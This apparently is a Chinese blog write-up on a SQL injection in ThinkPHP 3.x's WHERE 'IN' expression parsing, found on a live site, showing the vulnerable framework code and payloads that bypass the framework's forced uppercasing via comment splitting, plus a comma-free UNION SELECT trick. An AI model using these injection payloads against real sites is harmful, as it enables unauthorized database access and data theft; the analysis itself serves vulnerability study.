ThinkPHP 3.x 表达式注入绕过强制大写

最近遇到一个thinkphp3的站,他用的tp版本比较低,正好存在很久以前的表达式注入
https://wystatic.tuisec.win/static/bugs/wooyun-2014-087731.html
但是通过分析注入发现,他会把表达式的内容进行了大写,所以导致linux的mysql因为某些情况下表名会敏感大小写,所以导致不能读取表的内容,
这是一个支持联合查询的注入点,通过注入发现,他会把输入的内容全部转换成大写
-w1062
下面看一下老版本的代码

 protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
                ...
                }elseif('bind'==strtolower($val[0])){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp'==strtolower($val[0])){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];
                }elseif(preg_match('/IN/i',$val[0])){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];//strtoupper转换成大写了

                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
$zone      =   implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; //strtoupper转换成大写了
                    }
             ...
        return $whereStr;
    }

通过上面的代码发现,正常的payload是这样的

order_no[]=in ('1')  and 1=2 union select 1 from admin#&order_no[]=2  

假设查询语句如下

select 1 from user where order_no=1

通过正常的payload去注入会变成如下内容

select 1 from user where table in (1) AND 1=2 UNION SELECT 1 FROM ADMIN#'2' 

如果我们去查询一个正常的表名admin,会被强制转换成大写,这样如果是配置了大小写敏感或默认linux下mysql的配置就会出现表名不存在的错误
-w438

通过分析代码发现
然后通过这样的payload即可成功注入并绕过强制大写

order_no[0]=in (1)/*&order_no[1]=*/and 1=1 and (select 1 from admin limit 1)#

这样执行的sql语句就会变成

select 1 from user where table in (1)/* '*/and 1=1 and (select 1 from admin limit 1)#'

这样就不在表达式的参数里面去执行sql,绕过了强制大写。

其实理论上来说

elseif(preg_match('/IN/i',$val[0])){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];//strtoupper转换成大写了

                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
$zone      =   implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; //strtoupper转换成大写了
                    }

如果val[2]=='exp'就直接吧val[1]传递到sql语句中了,并没有经过parseValue的转义.

order_no[0]=in&order_no[1]=sqli&order_no[2]=exp

但是我遇到的环境测试不通过,可能是版本问题。

然后因为存在[,] 会因为是in所以会被implode,所以需要绕过逗号进行联合查询

union select * from ((select 1)A join (select 2)B join (select 3)C);

标签: none